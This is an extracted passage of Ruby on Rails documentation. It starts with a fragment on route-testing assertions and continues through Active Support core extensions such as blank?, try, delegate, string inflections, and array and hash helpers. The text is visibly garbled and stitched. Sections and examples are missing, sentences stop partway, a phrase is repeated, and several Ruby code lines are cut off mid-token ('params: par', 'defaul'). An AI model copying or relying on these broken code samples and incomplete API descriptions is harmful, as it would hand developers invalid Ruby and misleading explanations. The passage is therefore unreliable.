You'll find that the output from rails routes is much more readable if
you widen your terminal window until the output lines don't wrap.
5.2 Testing Routes
Routes should be included in your testing strategy (just like the rest of
your application). Rails offers three built-in assertions designed to make
testing routes simpler:
assert_generates
assert_recognizes
assert_routing
5.2.1 The assert_generates Assertion
particular path and can be used with default routes or custom routes. For
example:
The assert_routing assertion checks the route both ways: it tests that the
path generates the options, and that the options generate the path. Thus, it
combines the functions of assert_generates and assert_recognizes:
objects do not even respond to blank?. Let's see how to load its definition.
1.1.1 Cherry-picking a Definition
The most lightweight way to get blank? is to cherry-pick the file that
defines it.
For every single method defined as a core extension this guide has a note
that says where such a method is defined. In the case of blank? the note
reads:
Defined in active_support/core_ext/object/blank.rb.
That means that you can require it like this:
require 'active_support'
require 'active_support/core_ext/object/blank'
You may prefer just to load all core extensions, there is a file for that:
require 'active_support'
require 'active_support/core_ext'
1.1.4 Loading All Active Support
And finally, if you want to have all Active Support available just issue:
require 'active_support/all'
That does not even put the entire Active Support in memory upfront
indeed, some stuff is configured via autoload, so it is only loaded if used.
1.2 Active Support Within a Ruby on Rails Application
A Ruby on Rails application loads all Active Support unless
config.active_support.bare is true. In that case, the application will
only load what the framework itself cherry-picks for its own needs, and
can still cherry-pick itself at any granularity level, as explained in the
previous section.
Defined in active_support/core_ext/object/blank.rb.
2.2 presence
The presence method returns its receiver if present?, and nil otherwise.
It is useful for idioms like this:
host = config[:host].presence || 'localhost'
Defined in active_support/core_ext/object/blank.rb.
2.3 duplicable?
A few fundamental objects in Ruby are singletons. For example, in the
whole life of a program the integer 1 refers always to the same instance:
1.object_id # => 3
Math.cos(0).to_i.object_id # => 3
Some numbers which are not singletons are not duplicable either:
0.0.clone # => allocator undefined for Float
(2**1024).clone # => allocator undefined for Bignum
As you can see, after duplicating the Array instance, we got another
object, therefore we can modify it and the original object will stay
unchanged. This is not true for array's elements, however. Since dup does
not make deep copy, the string inside the array is still the same object.
If you need a deep copy of an object, you should use deep_dup. Here is an
example:
array = ['string']
duplicate = array.deep_dup
duplicate.first.gsub!('string', 'foo')
array # => ['string']
duplicate # => ['foo']
Defined in active_support/core_ext/object/deep_dup.rb.
2.5 try
When you want to call a method on an object only if it is not nil, the
simplest way to achieve it is with conditional statements, adding
unnecessary clutter. The alternative is to use try. try is like Object#send
except that it returns nil if sent to nil.
Here is an example:
# without try
unless @number.nil?
@number.next
end
# with try
@number.try(:next)
unnecessary check.
def log_info(sql, name, ms)
if @logger.try(:debug?)
name = '%s (%.1fms)' % [name || 'SQL', ms]
@logger.debug(format_log_entry(name, sql.squeeze(' ')))
end
end
try can also be called without arguments but a block, which will only be
Note that try will swallow no-method errors, returning nil instead. If you
want to protect against typos, use try! instead:
Defined in active_support/core_ext/object/try.rb.
2.6 class_eval(*args, &block)
You can evaluate code in the context of any object's singleton class using
class_eval:
class Proc
def bind(object)
block, time = self, Time.current
object.class_eval do
method_name = "__bind_#{time.to_i}_#{time.usec}"
define_method(method_name, &block)
method = instance_method(method_name)
remove_method(method_name)
method
end.bind(object)
end
end
Defined in active_support/core_ext/kernel/singleton_class.rb.
2.7 acts_like?(duck)
The method acts_like? provides a way to check whether some class acts
like some other class based on a simple convention: a class that provides
the same interface as String defines
def acts_like_string?
end
which is only a marker, its body or return value are irrelevant. Then, client
code can query for duck-type-safeness this way:
some_klass.acts_like?(:string)
Rails has classes that act like Date or Time and follow this contract.
Defined in active_support/core_ext/object/acts_like.rb.
2.8 to_param
All objects in Rails respond to the method to_param, which is meant to
return something that represents them as values in a query string, or as
URL fragments.
By default to_param just calls to_s:
7.to_param # => "7"
Notably, the Rails routing system calls to_param on models to get a value
for the :id placeholder. ActiveRecord::Base#to_param returns the id of
a model, but you can redefine that method in your models. For example,
given
class User
def to_param
"#{id}-#{name.parameterize}"
end
end
we get:
we get:
current_user.to_query('user') # => "user=357-john-smith"
This method escapes whatever is needed, both for the key and the value:
account.to_query('company[name]')
# => "company%5Bname%5D=Johnson+%26+Johnson"
[3.4, -45.6].to_query('sample')
# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
Defined in active_support/core_ext/object/to_query.rb.
2.10 with_options
The method with_options provides a way to factor out common options
in a series of method calls.
Given a default options hash, with_options yields a proxy object to a
block. Within the block, methods called on the proxy are forwarded to the
receiver with their options merged. For example, you get rid of the
duplication in:
class Account < ApplicationRecord
has_many :customers, dependent: :destroy
has_many :products, dependent: :destroy
has_many :invoices, dependent: :destroy
has_many :expenses, dependent: :destroy
end
this way:
class Account < ApplicationRecord
with_options dependent: :destroy do |assoc|
assoc.has_many :customers
assoc.has_many :products
assoc.has_many :invoices
assoc.has_many :expenses
end
end
That idiom may convey grouping to the reader as well. For example, say
you want to send a newsletter whose language depends on the user.
Somewhere in the mailer you could group locale-dependent bits like this:
Since with_options forwards calls to its receiver they can be nested. Each
nesting level will merge inherited defaults in addition to their own.
Defined in active_support/core_ext/object/with_options.rb.
2.11 JSON support
Active Support provides a better implementation of to_json than the json
gem ordinarily provides for Ruby objects. This is because some classes,
like Hash, OrderedHash and Process::Status need special handling in
order to provide a proper JSON representation.
Defined in active_support/core_ext/object/json.rb.
2.12 Instance Variables
Defined in active_support/core_ext/object/instance_variables.rb.
2.12.2 instance_variable_names
Defined in active_support/core_ext/object/instance_variables.rb.
2.13 Silencing Warnings and Exceptions
The methods silence_warnings and enable_warnings change the value
Defined in active_support/core_ext/kernel/reporting.rb.
2.14 in?
The predicate in? tests if an object is included in another object. An
ArgumentError exception will be raised if the argument passed does not
respond to include?.
Examples of in?:
1.in?([1,2]) # => true
"lo".in?("hello") # => true
25.in?(30..50) # => false
1.in?(1) # => ArgumentError
Defined in active_support/core_ext/object/inclusion.rb.
3 Extensions to Module
3.1 alias_method_chain
This method is deprecated in favour of using Module#prepend.
Using plain Ruby you can wrap methods with other methods, that's called
alias chaining.
For example, let's say you'd like params to be strings in functional tests, as
they are in real requests, but still want the convenience of assigning
integers and other kind of values. To accomplish that you could wrap
ActionDispatch::IntegrationTest#process this way in
test/test_helper.rb:
ActionDispatch::IntegrationTest.class_eval do
# save a reference to the original process method
alias_method :original_process, :process
That's the method get, post, etc., delegate the work to.
That technique has a risk, it could be the case that :original_process
was taken. To try to avoid collisions people choose some label that
characterizes what the chaining is about:
ActionDispatch::IntegrationTest.class_eval do
def process_with_stringified_params(...)
params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
process_without_stringified_params(method, path, params: par
end
alias_method :process_without_stringified_params, :process
alias_method :process, :process_with_stringified_params
end
ActionDispatch::IntegrationTest.class_eval do
def process_with_stringified_params(...)
params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
process_without_stringified_params(method, path, params: par
end
alias_method_chain :process, :stringified_params
end
Defined in active_support/core_ext/module/aliasing.rb.
3.2 Attributes
3.2.1 alias_attribute
Model attributes have a reader, a writer, and a predicate. You can alias a
model attribute having the corresponding three methods defined for you in
one shot. As in other aliasing methods, the new name is the first argument,
and the old name is the second (one mnemonic is that they go in the same
order as if you did an assignment):
class User < ApplicationRecord
# You can refer to the email column as "login".
# This can be meaningful for authentication code.
alias_attribute :login, :email
end
Defined in active_support/core_ext/module/aliasing.rb.
3.2.2 Internal Attributes
In the previous example it could be the case that :log_level does not
belong to the public interface of the library and it is only used for
development. The client code, unaware of the potential conflict, subclasses
and defines its own :log_level. Thanks to attr_internal there's no
collision.
By default the internal instance variable is named with a leading
underscore, @_log_level in the example above. That's configurable via
Module.attr_internal_naming_format though, you can pass any
sprintf-like format string with a leading @ and a %s somewhere, which is
where the name will be placed. The default is "@_%s".
Rails uses internal attributes in a few spots, for examples for views:
module ActionView
class Base
attr_internal :captures
attr_internal :request, :layout
attr_internal :controller, :template
end
end
Defined in active_support/core_ext/module/attr_internal.rb.
3.2.3 Module Attributes
Defined in
active_support/core_ext/module/attribute_accessors.rb.
3.3 Parents
3.3.1 parent
The parent method on a nested named module returns the module that
contains its corresponding constant:
module X
module Y
module Z
end
end
end
M = X::Y::Z
X::Y::Z.parent # => X::Y
M.parent # => X::Y
The parent_name method on a nested named module returns the fullyqualified name of the module that contains its corresponding constant:
module X
module Y
module Z
end
end
end
M = X::Y::Z
X::Y::Z.parent_name # => "X::Y"
M.parent_name # => "X::Y"
The method parents calls parent on the receiver and upwards until
Object is reached. The chain is returned in an array, from bottom to top:
module X
module Y
module Z
end
end
end
M = X::Y::Z
X::Y::Z.parents # => [X::Y, X, Object]
M.parents # => [X::Y, X, Object]
Defined in active_support/core_ext/module/introspection.rb.
3.3.4 Qualified Constant Names
But since constants and modules are indeed kind of decoupled, module
objects can become unreachable:
module M
end
orphan = Object.send(:remove_const, :M)
# The module object is orphan now but it still has a name.
orphan.name # => "M"
# You cannot reach it via the constant M because it does not eve
orphan.reachable? # => false
# Let's define a module called "M" again.
module M
end
# The constant M exists now again, and it stores a module
# object called "M", but it is a new instance.
orphan.reachable? # => false
Defined in active_support/core_ext/module/reachable.rb.
3.5 Anonymous
A module may or may not have a name:
module M
end
M.name # => "M"
N = Module.new
N.name # => "N"
Module.new.name # => nil
You can check whether a module has a name with the predicate
anonymous?:
module M
end
M.anonymous? # => false
Module.new.anonymous? # => true
Defined in active_support/core_ext/module/anonymous.rb.
3.6 Method Delegation
The macro delegate offers an easy way to forward methods.
Let's imagine that users in some application have login information in the
User model but name and other data in a separate Profile model:
class User < ApplicationRecord
has_one :profile
end
With that configuration you get a user's name via their profile,
user.profile.name, but it could be handy to still be able to access such
attribute directly:
class User < ApplicationRecord
has_one :profile
def name
profile.name
end
end
With :allow_nil the call user.name returns nil if the user has no profile.
The option :prefix adds a prefix to the name of the generated method.
This may be handy for example to get a better name:
delegate :street, to: :address, prefix: true
Since in this case the name of the generated method is composed of the
target object and target method names, the :to option must be a method
name.
A custom prefix may also be configured:
delegate :size, to: :attachment, prefix: :avatar
4 Extensions to Class
4.1 Class Attributes
4.1.1 class_attribute
Instance methods are created as well for convenience, they are just proxies
to the class attribute. So, instances can change the class attribute, but
cannot override it as it happens with class_attribute (see above). For
example given
module ActionView
class Base
cattr_accessor :field_error_proc
@@field_error_proc = Proc.new{ ... }
end
end
value:
module A
class B
# No first_name instance reader is generated.
cattr_accessor :first_name, instance_reader: false
# No last_name= instance writer is generated.
cattr_accessor :last_name, instance_writer: false
# No surname instance reader or surname= writer is generated
cattr_accessor :surname, instance_accessor: false
end
end
class C; end
C.subclasses # => []
class B < C; end
C.subclasses # => [B]
class A < B; end
C.subclasses # => [B]
class D < C; end
C.subclasses # => [B, D]
The descendants method returns all classes that are < than its receiver:
class C; end
C.descendants # => []
class B < C; end
C.descendants # => [B]
class A < B; end
C.descendants # => [B, A]
class D < C; end
C.descendants # => [B, A, D]
5 Extensions to String
5.1 Output Safety
5.1.1 Motivation
Inserting data into HTML templates needs extra care. For example, you
can't just interpolate @review.title verbatim into an HTML page. For
one thing, if the review title is "Flanagan & Matz rules!" the output won't
be well-formed because an ampersand has to be escaped as "&".
What's more, depending on the application, that may be a big security hole
because users can inject malicious HTML setting a hand-crafted review
title. Check out the section about cross-site scripting in the Security guide
for further information about the risks.
5.1.2 Safe Strings
Active Support has the concept of (html) safe strings. A safe string is one
that is marked as being insertable into HTML as is. It is trusted, no matter
whether it has been escaped or not.
Strings are considered to be unsafe by default:
"".html_safe? # => false
You can obtain a safe string from a given one with the html_safe method:
s = "".html_safe
s.html_safe? # => true
These methods should not be used in ordinary views. Unsafe values are
automatically escaped:
<%= @review.title %> <%# fine, escaped if needed %>
To insert something verbatim use the raw helper rather than calling
html_safe:
stringish.to_s.html_safe
end
Defined in active_support/core_ext/string/output_safety.rb.
5.1.3 Transformation
Calling to_s on a safe string returns a safe string, but coercion with
to_str returns an unsafe string.
5.1.5 Copying
Defined in active_support/core_ext/string/filters.rb.
5.3 squish
The method squish strips leading and trailing whitespace, and substitutes
runs of whitespace with a single space each:
" \n foo\n\r \t bar \n".squish # => "foo bar"
Note in particular that truncation takes into account the length of the
omission string.
Pass a :separator to truncate the string at a natural break:
"Oh dear! Oh dear! I shall be late!".truncate(18)
In above examples "dear" gets cut first, but then :separator prevents it.
Defined in active_support/core_ext/string/filters.rb.
5.5 truncate_words
The method truncate_words returns a copy of its receiver truncated after
a given number of words:
"Oh dear! Oh dear! I shall be late!".truncate_words(4)
# => "Oh dear! Oh dear!..."
Defined in active_support/core_ext/string/filters.rb.
5.6 inquiry
The inquiry method converts a string into a StringInquirer object
making equality checks prettier.
"production".inquiry.production? # => true
"active".inquiry.inactive? # => false
Defined in active_support/core_ext/string/starts_ends_with.rb.
5.8 strip_heredoc
The method strip_heredoc strips indentation in heredocs.
For example in
if options[:usage]
puts <<-USAGE.strip_heredoc
This command does such and such.
Supported options are:
-h This message
...
USAGE
end
the user would see the usage message aligned against the left margin.
Technically, it looks for the least indented line in the whole string, and
removes that amount of leading whitespace.
Defined in active_support/core_ext/string/strip.rb.
5.9 indent
Indents the lines in the receiver:
<<EOS.indent(2)
def some_method
some_code
end
EOS
# =>
def some_method
some_code
end
Defined in active_support/core_ext/string/access.rb.
5.10.2 from(position)
Defined in active_support/core_ext/string/access.rb.
5.10.3 to(position)
Defined in active_support/core_ext/string/access.rb.
5.10.4 first(limit = 1)
Active Record uses this method to compute the default table name that
corresponds to a model:
# active_record/model_schema.rb
def undecorated_table_name(class_name = base_class.name)
table_name = class_name.to_s.demodulize.underscore
pluralize_table_names ? table_name.pluralize : table_name
end
Defined in active_support/core_ext/string/inflections.rb.
5.11.2 singularize
Defined in active_support/core_ext/string/inflections.rb.
5.11.3 camelize
As a rule of thumb you can think of this method as the one that transforms
paths into Ruby class or module names, where slashes separate
namespaces:
"backoffice/session".camelize # => "Backoffice::Session"
For example, Action Pack uses this method to load the class that provides
a certain session store:
# action_controller/metal/session_management.rb
def session_store=(store)
@@session_store = store.is_a?(Symbol) ?
ActionDispatch::Session.const_get(store.to_s.camelize) :
store
end
Defined in active_support/core_ext/string/inflections.rb.
5.11.4 underscore
The method underscore goes the other way around, from camel case to
paths:
"Product".underscore # => "product"
"AdminUser".underscore # => "admin_user"
Rails class and module autoloading uses underscore to infer the relative
path without extension of a file that would define a given missing constant:
# active_support/dependencies.rb
def load_missing_constant(from_mod, const_name)
...
qualified_name = qualified_name_for from_mod, const_name
path_suffix = qualified_name.underscore
...
end
Defined in active_support/core_ext/string/inflections.rb.
5.11.6 dasherize
The XML serializer of models uses this method to dasherize node names:
# active_model/serializers/xml.rb
def reformat_name(name)
name = name.camelize if camelize?
dasherize? ? name.dasherize : name
end
Defined in active_support/core_ext/string/inflections.rb.
5.11.7 demodulize
Given a string with a qualified constant name, demodulize returns the very
constant name, that is, the rightmost part of it:
Active Record for example uses this method to compute the name of a
counter cache column:
# active_record/reflection.rb
def counter_cache_column
if options[:counter_cache] == true
"#{active_record.name.demodulize.underscore.pluralize}_count
elsif options[:counter_cache]
options[:counter_cache]
end
end
Defined in active_support/core_ext/string/inflections.rb.
5.11.8 deconstantize
Defined in active_support/core_ext/string/inflections.rb.
5.11.9 parameterize
To preserve the case of the string, set the preserve_case argument to true.
The method classify is the inverse of tableize. It gives you the class
name corresponding to a table name:
Note that classify returns a class name as a string. You can get the actual
class object invoking constantize on it, explained next.
Defined in active_support/core_ext/string/inflections.rb.
5.11.12 constantize
So, it is in general not equivalent to what Ruby would do in the same spot,
had a real constant be evaluated.
Mailer test cases obtain the mailer being tested from the name of the test
class using constantize:
# action_mailer/test_case.rb
def determine_default_mailer(name)
name.sub(/Test$/, '').constantize
rescue NameError => e
raise NonInferrableMailerError.new(name)
end
Defined in active_support/core_ext/string/inflections.rb.
5.11.13 humanize
The method humanize tweaks an attribute name for display to end users.
Specifically performs these transformations:
Applies human inflection rules to the argument.
Deletes leading underscores, if any.
Removes a "_id" suffix if present.
Replaces underscores with spaces, if any.
Downcases all words except acronyms.
Capitalizes the first word.
The capitalization of the first word can be turned off by setting the
+:capitalize+ option to false (default is true).
def full_message
...
attr_name = attribute.to_s.tr('.', '_').humanize
attr_name = @base.class.human_attribute_name(attribute, defaul
...
end
Defined in active_support/core_ext/string/inflections.rb.
5.11.14 foreign_key
The method foreign_key gives a foreign key column name from a class
name. To do so it demodulizes, underscores, and adds "_id":
"User".foreign_key # => "user_id"
"InvoiceLine".foreign_key # => "invoice_line_id"
"Admin::Session".foreign_key # => "session_id"
Associations use this method to infer foreign keys, for example has_one
and has_many do this:
# active_record/associations.rb
foreign_key = options[:foreign_key] || reflection.active_record.
Defined in active_support/core_ext/string/inflections.rb.
5.12 Conversions
5.12.1 to_date, to_time, to_datetime
Default is :utc.
Please refer to the documentation of Date._parse for further details.
The three of them return nil for blank receivers.
Defined in active_support/core_ext/string/conversions.rb.
6 Extensions to Numeric
6.1 Bytes
All numbers respond to these methods:
bytes
kilobytes
megabytes
gigabytes
terabytes
petabytes
exabytes
Defined in active_support/core_ext/numeric/bytes.rb.
6.2 Time
Enables the use of time calculations and declarations, like 45.minutes +
2.hours + 4.years.
These methods use Time#advance for precise date calculations when using
Defined in active_support/core_ext/numeric/time.rb
6.3 Formatting
Enables the formatting of numbers in a variety of ways.
Produce a string representation of a number as a telephone number:
5551234.to_s(:phone)
# => 555-1234
1235551234.to_s(:phone)
# => 123-555-1234
1235551234.to_s(:phone, area_code: true)
# => (123) 555-1234
1235551234.to_s(:phone, delimiter: " ")
# => 123 555 1234
1235551234.to_s(:phone, area_code: true, extension: 555)
# => (123) 555-1234 x 555
1235551234.to_s(:phone, country_code: 1)
# => +1-123-555-1234
Defined in active_support/core_ext/numeric/conversions.rb.
7 Extensions to Integer
7.1 multiple_of?
The method multiple_of? tests whether an integer is multiple of the
argument:
2.multiple_of?(1) # => true
1.multiple_of?(2) # => false
Defined in active_support/core_ext/integer/multiple.rb.
7.2 ordinal
The method ordinal returns the ordinal suffix string corresponding to the
receiver integer:
1.ordinal # => "st"
2.ordinal # => "nd"
53.ordinal # => "rd"
2009.ordinal # => "th"
-21.ordinal # => "st"
-134.ordinal # => "th"
Defined in active_support/core_ext/integer/inflections.rb.
7.3 ordinalize
The method ordinalize returns the ordinal string corresponding to the
receiver integer. In comparison, note that the ordinal method returns only
the suffix string.
1.ordinalize # => "1st"
2.ordinalize # => "2nd"
53.ordinalize # => "53rd"
Defined in active_support/core_ext/integer/inflections.rb.
8 Extensions to BigDecimal
8.1 to_s
The method to_s provides a default specifier of "F". This means that a
simple call to to_s will result in floating point representation instead of
engineering notation:
BigDecimal.new(5.00, 6).to_s # => "5.0"
9 Extensions to Enumerable
9.1 sum
The method sum adds the elements of an enumerable:
[1, 2, 3].sum # => 6
(1..100).sum # => 5050
If a block is given, sum becomes an iterator that yields the elements of the
collection and sums the returned values:
(1..5).sum {|n| n * 2 } # => 30
[2, 4, 6, 8, 10].sum # => 30
Defined in active_support/core_ext/enumerable.rb.
9.2 index_by
invoices.index_by(&:number)
# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>,
Keys should normally be unique. If the block returns the same value for
different elements no collection is built for that key. The last item will win.
Defined in active_support/core_ext/enumerable.rb.
9.3 many?
The method many? is shorthand for collection.size > 1:
<% if pages.many? %>
<%= pagination_links %>
<% end %>
If an optional block is given, many? only takes into account those elements
that return true:
Defined in active_support/core_ext/enumerable.rb.
9.4 exclude?
The predicate exclude? tests whether a given object does not belong to the
collection. It is the negation of the built-in include?:
Defined in active_support/core_ext/enumerable.rb.
9.5 without
The method without returns a copy of an enumerable with the specified
elements removed:
Defined in active_support/core_ext/enumerable.rb.
9.6 pluck
The method pluck returns an array based on the given key:
Defined in active_support/core_ext/enumerable.rb.
10 Extensions to Array
10.1 Accessing
Active Support augments the API of arrays to ease certain ways of
accessing them. For example, to returns the subarray of elements up to the
one at the passed index:
%w(a b c d).to(2) # => ["a", "b", "c"]
[].to(7) # => []
Similarly, from returns the tail from the element at the passed index to the
end. If the index is greater than the length of the array, it returns an empty
array.
%w(a b c d).from(2) # => ["c", "d"]
%w(a b c d).from(10) # => []
[].from(0) # => []
The methods second, third, fourth, and fifth return the corresponding
element, as do second_to_last and third_to_last (first and last are
built-in). Thanks to social wisdom and positive constructiveness all
around, forty_two is also available.
%w(a b c d).third # => "c"
%w(a b c d).fifth # => nil
Defined in active_support/core_ext/array/access.rb.
10.2 Adding Elements
10.2.1 prepend
Defined in active_support/core_ext/array/prepend_and_append.rb.
10.2.2 append
Defined in active_support/core_ext/array/prepend_and_append.rb.
10.3 Options Extraction
When the last argument in a method call is a hash, except perhaps for a
&block argument, Ruby allows you to omit the brackets:
User.exists?(email: params[:email])
or more elements, except for the last two. Default is ", ".
:last_word_connector: What is used to join the last items of an
array with 3 or more elements. Default is ", and ".
The defaults for these options can be localized, their keys are:
Option
I18n key
:two_words_connector support.array.two_words_connector
:words_connector
support.array.words_connector
:last_word_connector support.array.last_word_connector
Defined in active_support/core_ext/array/conversions.rb.
10.4.2 to_formatted_s
Integers in the example above are supposed to come from the respective
calls to id.
Defined in active_support/core_ext/array/conversions.rb.
10.4.3 to_xml
Contributor.limit(2).order(:rank).to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors type="array">
# <contributor>
# <id type="integer">4356</id>
# <name>Jeremy Kemper</name>
# <rank type="integer">1</rank>
# <url-id>jeremy-kemper</url-id>
# </contributor>
# <contributor>
# <id type="integer">4404</id>
# <name>David Heinemeier Hansson</name>
# <rank type="integer">2</rank>
# <url-id>david-heinemeier-hansson</url-id>
# </contributor>
# </contributors>
# </object>
# <object>
# <author>Joshua Peek</author>
# <authored-timestamp type="datetime">2009-09-02T16:44:36Z</
# <branch>origin/master</branch>
# <committed-timestamp type="datetime">2009-09-02T16:44:36Z<
# <committer>Joshua Peek</committer>
# <git-show nil="true"></git-show>
# <id type="integer">190316</id>
# <imported-from-svn type="boolean">false</imported-from-svn
# <message>Kill AMo observing wrap_with_notifications since
# <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
# </object>
# </objects>
Defined in active_support/core_ext/array/conversions.rb.
10.5 Wrapping
The method Array.wrap wraps its argument in an array unless it is already
an array (or array-like).
Specifically:
If the argument is nil an empty array is returned.
Otherwise, if the argument responds to to_ary it is invoked, and if
the value of to_ary is not nil, it is returned.
which in Ruby 1.8 returns [nil] for nil, and calls to Array(object)
otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)
Thus, in this case the behavior is different for nil, and the differences with
Defined in active_support/core_ext/array/wrap.rb.
10.6 Duplicating
The method Array#deep_dup duplicates itself and all objects inside
recursively with Active Support method Object#deep_dup. It works like
Array#map with sending deep_dup method to each object inside.
array = [1, [2, 3]]
dup = array.deep_dup
dup[1][2] = 4
array[1][2] == nil # => true
Defined in active_support/core_ext/object/deep_dup.rb.
10.7 Grouping
10.7.1 in_groups_of(number, fill_with = nil)
The first example shows in_groups_of fills the last group with as many
nil elements as needed to have the requested size. You can change this
padding value using the second optional argument:
[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
And you can tell the method not to fill the last group passing false:
[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
The examples above show that in_groups fills some groups with a trailing
nil element as needed. A group can get at most one of these extra
elements, the rightmost one if any. And the groups that have them are
always the last ones.
You can change this padding value using the second optional argument:
%w(1 2 3 4 5 6 7).in_groups(3, "0")
# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
And you can tell the method not to fill the smaller groups passing false:
%w(1 2 3 4 5 6 7).in_groups(3, false)
# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
The method split divides an array by a separator and returns the resulting
chunks.
If a block is passed the separators are those elements of the array for which
the block returns true:
(-5..5).to_a.split { |i| i.multiple_of?(4) }
# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
Defined in active_support/core_ext/array/grouping.rb.
11 Extensions to Hash
11.1 Conversions
11.1.1 to_xml
To do so, the method loops over the pairs and builds nodes that depend on
the values. Given a pair key, value:
If value is a hash there's a recursive call with key as :root.
If value is an array there's a recursive call with key as :root, and key
singularized as :children.
If value is a callable object it must expect one or two arguments.
Depending on the arity, the callable is invoked with the options hash
as first argument with key as :root, and key singularized as second
argument. Its return value becomes a new node.
If value responds to to_xml the method is invoked with key as :root.
Otherwise, a node with key as tag is created with a string
representation of value as text node. If value is nil an attribute "nil"
set to "true" is added. Unless the option :skip_types exists and is
true, an attribute "type" is added as well according to the following
mapping:
XML_TYPE_NAMES = {
By default the root node is "hash", but that's configurable via the :root
option.
The default XML builder is a fresh instance of Builder::XmlMarkup. You
can configure your own builder with the :builder option. The method
also accepts options like :dasherize and friends, they are forwarded to the
builder.
Defined in active_support/core_ext/hash/conversions.rb.
11.2 Merging
Ruby has a built-in method Hash#merge that merges two hashes:
{a: 1, b: 1}.merge(a: 0, c: 2)
# => {:a=>0, :b=>1, :c=>2}
Active Support defines a few more ways of merging hashes that may be
convenient.
11.2.1 reverse_merge and reverse_merge!
In case of collision the key in the hash of the argument wins in merge. You
can support option hashes with default values in a compact way with this
idiom:
options = {length: 30, omission: "..."}.merge(options)
Take into account that reverse_merge! may change the hash in the caller,
which may or may not be a good idea.
Defined in active_support/core_ext/hash/reverse_merge.rb.
11.2.2 reverse_update
As you can see in the previous example if a key is found in both hashes the
value in the one in the argument wins.
Active Support defines Hash#deep_merge. In a deep merge, if a key is
found in both hashes and their values are hashes in turn, then their merge
Defined in active_support/core_ext/object/deep_dup.rb.
11.4 Working with Keys
11.4.1 except and except!
The method except returns a hash with the keys in the argument list
removed, if present:
{a: 1, b: 2}.except(:a) # => {:b=>2}
There's also the bang variant except! that removes keys in the very
receiver.
Defined in active_support/core_ext/hash/except.rb.
11.4.2 transform_keys and transform_keys!
The method transform_keys accepts a block and returns a hash that has
applied the block operations to each of the keys in the receiver:
In case of key collision, one of the values will be chosen. The chosen value
may not always be the same given the same hash:
{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase }
# The result could either be
# => {"A"=>2}
# or
# => {"A"=>1}
def stringify_keys
transform_keys { |key| key.to_s }
end
...
def symbolize_keys
transform_keys { |key| key.to_sym rescue key }
end
There's also the bang variant transform_keys! that applies the block
operations to keys in the very receiver.
Besides that, one can use deep_transform_keys and
deep_transform_keys! to perform the block operation on all the keys in
the given hash and all the hashes nested into it. An example of the result is:
Defined in active_support/core_ext/hash/keys.rb.
11.4.3 stringify_keys and stringify_keys!
In case of key collision, one of the values will be chosen. The chosen value
may not always be the same given the same hash:
{"a" => 1, a: 2}.stringify_keys
# The result could either be
# => {"a"=>2}
# or
# => {"a"=>1}
This method may be useful for example to easily accept both symbols and
strings as options. For instance ActionView::Helpers::FormHelper
defines:
The second line can safely access the "type" key, and let the user to pass
either :type or "type".
There's also the bang variant stringify_keys! that stringifies keys in the
very receiver.
Besides that, one can use deep_stringify_keys and
deep_stringify_keys! to stringify all the keys in the given hash and all
the hashes nested into it. An example of the result is:
Defined in active_support/core_ext/hash/keys.rb.
11.4.4 symbolize_keys and symbolize_keys!
This method may be useful for example to easily accept both symbols and
strings as options. For instance ActionController::UrlRewriter defines
def rewrite_path(options)
options = options.symbolize_keys
options.update(options[:params].symbolize_keys) if options[:pa
...
end
The second line can safely access the :params key, and let the user to pass
either :params or "params".
There's also the bang variant symbolize_keys! that symbolizes keys in the
very receiver.
Besides that, one can use deep_symbolize_keys and
deep_symbolize_keys! to symbolize all the keys in the given hash and all
the hashes nested into it. An example of the result is:
{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbol
# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}
Defined in active_support/core_ext/hash/keys.rb.
The method transform_values accepts a block and returns a hash that has
applied the block operations to each of the values in the receiver.
There's also the bang variant transform_values! that applies the block
operations to values in the very receiver.
Defined in active_support/core_ext/hash/transform_values.rb.
11.6 Slicing
Ruby has built-in support for taking slices out of strings and arrays. Active
Support extends slicing to hashes:
{a: 1, b: 2, c: 3}.slice(:a, :c)
# => {:c=>3, :a=>1}
{a: 1, b: 2, c: 3}.slice(:b, :X)
# => {:b=>2} # non-existing keys are ignored
Slicing may come in handy for sanitizing option hashes with a white list of
keys.
There's also slice! which in addition to perform a slice in place returns
what's removed:
hash = {a: 1, b: 2}
rest = hash.slice!(:a) # => {:b=>2}
hash # => {:a=>1}
Defined in active_support/core_ext/hash/slice.rb.
11.7 Extracting
The method extract! removes and returns the key/value pairs matching
the given keys.
hash = {a: 1, b: 2}
rest = hash.extract!(:a) # => {:a=>1}
hash # => {:b=>2}
The method extract! returns the same subclass of Hash, that the receiver
is.
hash = {a: 1, b: 2}.with_indifferent_access
rest = hash.extract!(:a).class
# => ActiveSupport::HashWithIndifferentAccess
Defined in active_support/core_ext/hash/slice.rb.
11.8 Indifferent Access
The method with_indifferent_access returns an
ActiveSupport::HashWithIndifferentAccess out of its receiver:
{a: 1}.with_indifferent_access["a"] # => 1
Defined in active_support/core_ext/hash/indifferent_access.rb.
11.9 Compacting
The methods compact and compact! return a Hash without items with nil
value.
{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}
Defined in active_support/core_ext/hash/compact.rb.
12 Extensions to Regexp
12.1 multiline?
The method multiline? says whether a regexp has the /m flag set, that is,
whether the dot matches newlines.
%r{.}.multiline? # => false
%r{.}m.multiline? # => true
Regexp.new('.').multiline? # => false
Regexp.new('.', Regexp::MULTILINE).multiline? # => true
Rails uses this method in a single place, also in the routing code. Multiline
regexps are disallowed for route requirements and this flag eases enforcing
that constraint.
Defined in active_support/core_ext/regexp.rb.
13 Extensions to Range
13.1 to_s
Active Support extends the method Range#to_s so that it understands an
optional format argument. As of this writing the only supported nondefault format is :db:
(Date.today..Date.tomorrow).to_s
# => "2009-10-25..2009-10-26"
(Date.today..Date.tomorrow).to_s(:db)
# => "BETWEEN '2009-10-25' AND '2009-10-26'"
